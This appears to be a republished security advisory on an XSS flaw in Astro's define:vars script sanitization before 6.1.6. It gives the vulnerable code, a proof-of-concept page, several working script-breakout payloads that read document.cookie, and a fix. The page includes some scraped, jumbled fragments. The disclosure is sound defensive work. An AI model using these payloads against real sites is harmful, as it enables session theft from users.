| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| astro | < 6.1.6 | 6.1.6 |
| astro | < 6.1.6 | 6.1.6 |
The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.
The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/<\/script>/g, // ← Case-sensitive, exact match only
'\\x3C/script>',
)};\n`;
}
return markHTMLString(output);
}
This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:
if (name === 'script') {
delete props.hoist;
children = defineScriptVars(defineVars) + '\n' + children;
}
The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:
</Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.>: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.</script/> — the tokenizer enters "self-closing start tag" state on /.JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.
User-controlled input (e.g., ) → assigned to a variable → passed via on a tag → → → incomplete sanitization → injected into block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíAstro.url.searchParamsdefine:vars<script>renderElementdefineScriptVars<script>Step 1: Create an SSR Astro page (src/pages/index.astro):
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
<h1>Hello</h1>
<script define:vars={{ name }}>
console.log(name);
</script>
</body>
</html>
Step 2: Ensure SSR is enabled in astro.config.mjs:
export default defineConfig({
output: 'server'
});
Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
Step 4: View the HTML source. The output contains:
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
console.log(name);
</script>
The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.
Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.
Exploitation enables:
document.cookie)The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/</g,
'\\u003c',
)};\n`;
}
return markHTMLString(output);
}
This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.